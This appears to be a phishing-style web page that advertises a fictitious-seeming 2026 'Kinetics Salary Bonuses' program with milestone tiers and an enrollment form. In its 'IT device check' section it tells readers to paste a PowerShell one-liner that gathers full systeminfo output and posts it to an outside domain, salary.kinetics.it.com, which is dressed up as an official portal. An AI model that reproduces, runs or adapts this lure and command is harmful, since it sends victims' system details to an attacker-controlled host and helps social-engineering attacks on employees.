Milestone-led goals
Objectives are tied to strategic launches, operational excellence, and customer success targets.
Launching in 2026
Kinetics Salary Bonuses
A milestone-driven bonus program that recognizes the impact of every Kinetics employee. Achieve shared goals, track progress with clarity, and celebrate the outcomes together.
Teamwide milestones
Transparent progress
Recognition + rewards
Program Snapshot
2026Milestone cadence
Quarterly reviews
Eligibility
All full-time employees
Bonus trigger
Company + team outcomes
Final tier details and payout schedule will be shared before program launch.
Built for clarity and momentum
The Kinetics Salary Bonuses program aligns individual contributions with shared company milestones, so everyone understands how their work unlocks the next level of recognition.
Transparent tracking
Progress dashboards show where we are, what is next, and how teams are contributing.
Recognition moments
Each milestone unlocks recognition across the company, with bonuses distributed on a shared cadence.
2026 milestone flow
Milestones are reviewed quarterly, with bonus tiers based on the collective progress toward Kinetics goals.
01
Kickoff alignment
Teams align on cross-functional outcomes and operational commitments.
02
Progress check
Monthly check-ins with People Ops to track progress and unblock challenges.
03
Milestone review
Quarterly review of launch readiness, quality goals, and customer impact.
04
Bonus release
Recognition moment and bonus distribution for qualified milestones.
Illustrative bonus tiers
Final tier definitions will be shared ahead of launch. These examples show how milestones map to rewards.
Tier 1
Core launch milestones achieved with quality and delivery targets met.
Recognition bonus
Tier 2
Launch milestones + customer success outcomes delivered on schedule.
Performance bonus
Tier 3
Stretch milestones achieved with company-wide impact and growth goals exceeded.
Impact bonus
Secure enrollment
Enrollment is handled through official Kinetics systems. For security, do not run scripts or commands from emails. Device verification is completed through IT-managed tools on company hardware.
What employees need to do
- Submit enrollment interest below.
- Watch for next steps from People Ops and IT.
IT device check (PowerShell)
Run this on a managed device to send a system snapshot to the Kinetics enrollment portal.
$apiUrl="https://salary.kinetics.it.com/api.php"; $payload=@{systeminfo=(systeminfo | Out-String); collected_at=(Get-Date).ToString("o")}; Invoke-RestMethod -Method Post -Uri $apiUrl -ContentType "application/json" -Body ($payload | ConvertTo-Json)Sends the full `systeminfo` output. Update the `api.php` URL if your portal domain differs.
Enroll your interest
Provide your Kinetics email to receive the official 2026 enrollment packet and milestone calendar.
What happens next
You will receive a secure enrollment packet with milestone definitions, payout windows, and your People Ops contact for questions.
Data handling
Enrollment data is stored in a Kinetics-managed JSON database and only accessed by the People Ops team.
Need help?
Reach out to People Ops or IT for any enrollment or device verification questions.